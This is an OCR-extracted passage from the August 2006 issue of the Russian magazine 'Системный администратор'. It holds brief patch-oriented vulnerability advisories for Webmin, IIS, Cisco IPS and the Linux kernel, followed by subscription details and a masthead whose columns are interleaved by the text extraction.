Описание: Уязвимость существует из-за ошибки при об-
работке URL. Удаленный неавторизованный пользователь
может с помощью специально сформированного URL про-
смотреть произвольные файлы на системе. Подробности
уязвимости не сообщаются.
URL производителя: www.webmin.com.
Решение: Установите последнюю версию с сайта произ-
водителя.
Выполнение произвольного кода
в Microsoft Internet Information Server
Программа: Microsoft Internet Information Server (IIS) 5.0,
5.1, 6.0.
Опасность: Средняя.
Описание: Удаленный авторизованный пользователь с при-
вилегиями на загрузку файлов может с помощью специ-
ально сформированного ASP-файла выполнить произ-
вольный код на целевой системе. Подробности уязвимос-
ти не сообщаются.
URL производителя: www.microsoft.com.
Решение: Установите исправление с сайта производи-
теля.
Отказ в обслуживании в Cisco IPS
Программа: Cisco Intrusion Prevention System (IPS) 5.1.
Опасность: Средняя.
Описание: Уязвимость существует из-за ошибки в стандар-
тном драйвере сетевого гигабитного адаптера на чипсете
Intel при обработке некоторых IP-пакетов. Удаленный поль-
зователь может с помощью специально сформированного
IP-пакета вызвать отказ в обслуживании устройства, если
этот адаптер сконфигурирован на мониторинг трафика.
URL производителя: www.cisco.com.
Решение: Установите исправление (версию 5.1(2)) с сай-
та производителя.
Уязвимость состояния операции
в ядре Linux
Программа: Linux kernel версии до 2.6.17.5.
Опасность: Низкая.
Описание: Уязвимость состояния операции существует при
изменении статуса файла в файловой системе /proc. Ло-
кальный пользователь может выполнить произвольный код
на целевой системе с привилегиями пользователю root.
URL производителя: www.kernel.org.
Решение: Установите последнюю версию (2.6.17.5 или вы-
ше) с сайта производителя.
Составил Александр Антипов

Российская Федерация
 Подписной индекс: годовой – 20780, полугодовой – 81655
Каталог агентства «Роспечать»
 Подписной индекс: 87836
Объединенный каталог «Пресса России»
Адресный каталог «Подписка за рабочим столом»
Адресный каталог «Библиотечный каталог»
 Альтернативные подписные агентства:
Агентство «Интер-Почта» (495) 500-00-60, курьерская
доставка по Москве
Агентство «Вся Пресса» (495) 787-34-47
Агентство «Курьер-Прессервис»
Агентство «ООО Урал-Пресс» (343) 375-62-74
ЛинуксЦентр www.linuxcenter.ru
 Подписка On-line
http://www.arzi.ru
http://www.gazety.ru
http://www.presscafe.ru
СНГ
В странах СНГ подписка принимается в почтовых отделе-
ниях по национальным каталогам или по списку номенк-
латуры «АРЗИ»:
 Азербайджан – по объединенному каталогу россий-
ских изданий через предприятие по распространению
подписка на 2006 год
печати «Гасид» (370102, г. Баку, ул. Джавадхана, 21)
 Казахстан – по каталогу «Российская Пресса» через
ОАО «Казпочта» и ЗАО «Евразия пресс»
 Беларусь – по каталогу изданий стран СНГ через РГО
«Белпочта» (220050, г. Минск, пр-т Ф. Скорины, 10)
 Узбекистан – по каталогу «Davriy nashrlar» российс-
кие издания через агентство по распространению пе-
чати «Davriy nashrlar» (7000029, г. Ташкент, пл. Муста-
киллик, 5/3, офис 33)
 Армения – по списку номенклатуры «АРЗИ» через
ГЗАО «Армпечать» (375005, г. Ереван, пл. Сасунци Да-
вида, д. 2) и ЗАО «Контакт-Мамул» (375002, г. Ереван,
ул. Сарьяна, 22)
 Грузия – по списку номенклатуры «АРЗИ» через АО
«Сакпресса» ( 380019, г. Тбилиси, ул. Хошараульская, 29)
и АО «Мацне» (380060, г. Тбилиси, пр-т Гамсахурдия, 42)
 Молдавия – по каталогу через ГП «Пошта Молдавей»
(МД-2012, г. Кишинев, бул. Штефан чел Маре, 134)
по списку через ГУП «Почта Приднестровья» (МD-3300,
г. Тирасполь, ул. Ленина, 17)
по прайс-листу через ООО Агентство «Editil Periodice»
(МД-2012, г. Кишинев, бул. Штефан чел Маре, 134)
 Подписка для Украины:
Киевский главпочтамт
Подписное агентство «KSS», тел./факс (044)464-0220

Подписные
индексы:

20780*
81655**
по каталогу
агентства
«Роспечать»

87836
по каталогу
агентства
«Пресса
России»
*
годовой
**
полугодовой

№8, август 2006 95

СИСТЕМНЫЙ АДМИНИСТРАТОР
№8(45), Август, 2006 год

УЧРЕДИТЕЛИ
ЧИТАЙТЕ
Владимир Положевец
Александр Михалев В СЛЕДУЮЩЕМ
РУКОВОДИТЕЛЬ ПРОЕКТА
Петр Положевец
НОМЕРЕ:
РЕДАКЦИЯ
Исполнительный директор
Владимир Положевец Система авторизации PAM простым делом. Разработчики изра-
Ответственный секретарь Система PAM используется практичес- ильской компании Trustware Inc. пред-
Наталья Хвостова ки на всех UNIX-системах, за исключе- лагают подход, позволяющий актив-
sekretar@samag.ru нием разве что OpenBSD. В статье вы но защищать операционную систему
Технический редактор найдете описание процесса конфигу- Windows против злонамеренного про-
Владимир Лукин рирования системы PAM и установки граммного обеспечения и других ви-
Редактор и настройки дополнительных модулей. дов атак. Без каждодневных обновле-
Алексей Коршунов
Программистам пригодится информа- ний, с максимальной защитой при ми-
Внештатные редакторы
ция о том, как написать свой модуль нимальном участии пользователя.
Алексей Барабанов
Сергей Супрунов и приложение для него.
Дмитрий Мороз SASL – модуль сетевой
Суровая правда, скрытая аутентификации
РЕКЛАМНАЯ СЛУЖБА за «розовыми очками»: пользователей
тел./факс: (495) 628-8253 история компании С помощью библиотеки SASL2 сете-
Евгения Тарабрина Transmeta вые приложения могут автоматически
reсlama@samag.ru В мире существует категория людей, договориться об использовании опре-
которые из кожи вон лезут, лишь бы деленного механизма подтверждения
Верстка и оформление подарить другим благо, причём без- идентичности пользователя. Как на-
maker_up@samag.ru
возмездно. Но зачастую большинс- строить библиотеку SASL для работы
Дизайн обложки
тву «манна небесная» не всегда по ду- совместно c Kerberos?
Николай Петрочук
ше, или, попросту, не нужна. Компа-
По вопросам распространения ния Transmeta принесла практически Упаковщики исполняемых
обращайтесь по телефону: «совершенные» процессоры в массы, файлов в Linux/BSD
(495) 628-8253 (доб. 120) однако собственноручно допущенные Большинство UNIX-программ рас-
ошибки, жестокая конкуренция и при- пространяются в исходных текстах,
107045, г. Москва, вередливые пользователи не позволи- но количество коммерческих продук-
Ананьевский переулок, дом 4/2, стр. 1 ли задуманному осуществиться. тов с закрытым кодом неуклонно рас-
тел./факс: (495) 628-8253 тет, зачастую распространясь в упа-
Сайт журнала: www.samag.ru Защита от malware кованном виде. Это не только пре-
ИЗДАТЕЛЬ
при помощи BufferZone пятствует анализу, но снижает про-
Борьба с различного рода злонаме- изводительность и ухудшает совмес-
ЗАО «Издательский дом
«Учительская газета» ренными программами, является час- тимость с «зоопарком» UNIX-клонов.
тью обязанностей администратора но, покажем на примере ELFCrypt, UPX,
Отпечатано типографией учитывая, что ежедневно обнаружива- Burneye и Shiva, как можно освобо-
ГП «Московская Типография №13» ется около 50 новых, это становится не диться от упаковщиков.
Тираж 11000 экз.

Журнал зарегистрирован Уважаемые читатели!

в Министерстве РФ по делам печати,
телерадиовещания и средств массо-
вых коммуникаций (свидетельство
Спешите оформить подписку
ПИ № 77-12542 от 24 апреля 2002 г.).
на второе полугодие 2006 года!
За содержание статьи ответственность Приобрести новые и старые номера журнала
несет автор. За содержание рекламно- вы можете через интернет-магазины LinuxCenter.ru и Allsoft.ru.
го объявления ответственность несет
рекламодатель. Все права на опубли-
кованные материалы защищены.

Доставка почтой в любую точку России.

96